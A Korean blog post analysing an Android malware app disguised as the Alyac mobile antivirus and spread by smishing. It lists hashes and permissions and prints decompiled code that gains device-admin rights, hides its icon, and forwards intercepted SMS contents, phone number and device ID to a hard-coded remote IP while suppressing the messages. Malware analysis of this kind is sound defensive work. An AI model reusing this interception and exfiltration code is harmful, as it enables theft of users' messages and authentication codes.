아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. |
1. 개요
스미싱 문자로 전파되고 있는 알약 모바일 백신 위장 파일인 alayc.apk에 대해서 살펴 본다.
Filename: | alyac.apk |
MD5: | d400c1b9392063fc888cb942c7ecb6ac |
SHA-1: | 69ab7756949624714b751244f704e7d5573183aa |
File Size: | 306923 Bytes |
API Level: | 5 |
장치 관리자 활성화를 승인하면, 어플 서랍에 존재하는 알약 아이콘은 삭제된것 같이 사라진다. 아이콘은 사라져도 악성 앱은 사용자 디바이스에 설치가 되어 있다.
확인한 API 권한 정보를 정리하면 아래와 같으며, 빨간색으로 표시된 API 권한이 악의적으로 사용될 수 있는 API이다.
유저 권한 (User Permission (악성 APP이 요구하는 권한 정보) ) |
android.permission.RECEIVE_SMS android.permission.ACCESS_NETWORK_STATE android.permission.RECEIVE_BOOT_COMPLETED android.permission.READ_PHONE_STATE android.permission.INTERNET android.permission.SEND_SMS android.permission.ACCESS_FINE_LOCATION android.permission.ACCESS_COARSE_LOCATION android.permission.ACCESS_MOCK_LOCATION android.permission.WRITE_EXTERNAL_STORAGE android.permission.VIBRATE android.permission.FLASHLIGHT android.permission.READ_PHONE_STATE android.permission.ACCESS_NETWORK_STATE android.permission.MOUNT_UNMOUNT_FILESYSTEMS android.permission.CAMERA android.permission.WAKE_LOCK android.permission.RECORD_AUDIO |
[악성 앱과 정상적인 앱 비교]
가장 먼저 AgreeActivity 클래스를 살펴 보면 아래와 같이 장치 관리자 활성화를 요구하는 부분을 확인 할 수 있다. (아래 소스 코드는 일부분이다)
public class AgreeActivity extends Activity implements View.OnClickListener { static DevicePolicyManager mPolicyManager; private ComponentName mDeviceAdmin; private void moveMainActivity() { getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1); this.mDeviceAdmin = new ComponentName(this, Device_Admin.class); mPolicyManager = (DevicePolicyManager)getSystemService("device_policy"); enableAdmin(); startActivity(new Intent(this, StartActivity.class)); finish(); } public void desableAdmin() { mPolicyManager.removeActiveAdmin(this.mDeviceAdmin); } public void enableAdmin() { Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN"); localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.mDeviceAdmin); localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "기기보호와 앱의 정상동작을 위해 다음의 설정을 유효화하여 주십시오."); startActivityForResult(localIntent, 1); } |
SMSBroadcastReceiver 클래스에서는 getLine1Number()을 이용하여 악성앱이 설치된 디바이스의 전화 번호와 getdevicesid()를 이용하여 디바이스 ID (DevicesID)를 획득한다.
private String getPhoneNumber(Context paramContext) { return ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number(); } 생략~ public String getdevicesid(Context paramContext) { TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.getSystemService ("phone"); try { String str = localTelephonyManager.getDeviceId(); return str; } catch (Exception localException) { } return null; } 생략 ~ |
로컬상에 존재하는 SMS를 확인 하여, SMS 발신 번호 / SMS 메시지 내용 / 날짜, 시간등을 위에서 획득한 전화번호와 디바이스 아이디를 http://61.198.220.16으로 전송한다.
public void onReceive(Context paramContext, Intent paramIntent) { if (!paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) return; this.util = new HttpUtils(); String str1 = getPhoneNumber(paramContext); String str2 = getdevicesid(paramContext); if (TextUtils.isEmpty(str1)) this.weiyi = str2; while (true) { if (TextUtils.isEmpty(this.weiyi)) this.weiyi = ""; Object[] arrayOfObject = (Object[])paramIntent.getExtras().get("pdus"); int i = arrayOfObject.length; int j = 0; label88: if (j >= i) break; SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]); String str3 = localSmsMessage.getOriginatingAddress(); String str4 = localSmsMessage.getMessageBody(); Date localDate = new Date(localSmsMessage.getTimestampMillis()); new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); try { if ((HttpUtils.detect(paramContext)) && (str3 != null) && (!"".equals(str3)) && (str1 != null) && (!"".equals(str1))) { String str5 = URLEncoder.encode(str4, "UTF-8"); this.url = ("http://61.198.220.16/" + "?phone=" + this.weiyi + "&send=" + str3 + "&surak=" + this.weiyi + "&memo=" + str5 + "&type=memo&xcode=1"); HttpUtils.requestData2(this.url); this.url = ("http://61.198.220.16/" + "check.php?phone=" + this.weiyi); if (!HttpUtils.requestData2(this.url).equals("219083")) abortBroadcast(); } j++; break label88; this.weiyi = str1; } catch (Exception localException) { while (true) localException.printStackTrace(); } } } |
[Android Malware] 무비사랑 (MvLove_c.apk) 분석 (0) | 2013.04.22 |
---|---|
[Android Malware] 롯데리아 쿠폰 위장 (lotteria_cp.apk) 분석 (0) | 2013.04.21 |
[Android Malware] 아웃백 소액 결제 사기 (smartbilling.apk) 분석 (0) | 2013.03.30 |
PingTunneling 패킷 분석 (0) | 2013.01.30 |
기본적인 HTTP Packet 분석 (0) | 2013.01.30 |